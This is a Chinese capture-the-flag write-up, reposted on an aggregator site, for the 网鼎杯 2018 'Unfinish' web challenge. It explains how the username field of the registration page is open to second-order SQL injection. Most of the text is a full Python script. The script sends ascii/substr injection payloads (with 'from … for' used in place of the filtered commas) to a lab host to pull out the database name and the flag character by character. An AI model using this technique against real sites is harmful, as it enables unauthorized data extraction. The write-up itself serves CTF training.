欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > IT业 > 网鼎杯-2018-Web-Unfinish

网鼎杯-2018-Web-Unfinish

2025/5/14 23:35:03 来源:https://blog.csdn.net/m0_63050933/article/details/141120122  浏览:    关键词:网鼎杯-2018-Web-Unfinish

先尝试万能注入:

如果万能注入缺少符号,如果加@符又进不去,那我们尝试扫描文件,然后发现有一个register.php的文件,应该是注册页面,我们去打开

 

知道存储的文件,并利用状态码进行过滤

我们注册的用户名就是aaa,可以看出它回显出来了,我们尝试从这个地方注入

 

测试发现过滤了逗号、information等,那么使用盲注应该不太行了

所以我们考虑用户名这里可能存在 二次注入 。

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

因为题目中过滤掉了逗号,因此用from for来代替

ASCII码如下:

最后我们验证出数据库名为web

以下是我编写的python脚本,可以跑出数据库名称以及最终的flag

import requests

import time

from bs4 import BeautifulSoup       #html解析器

def getDatabase():

    database = ''

    for i in range(10):

        data_database = {

            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_database)

        login_data={

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        database+=chr(int(username))

    return database

def getFlag():

    flag = ''

    for i in range(40):

        data_flag = {

            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_flag)

        login_data={

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        flag+=chr(int(username))

    return flag

print(getDatabase())

print(getFlag())

最终得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词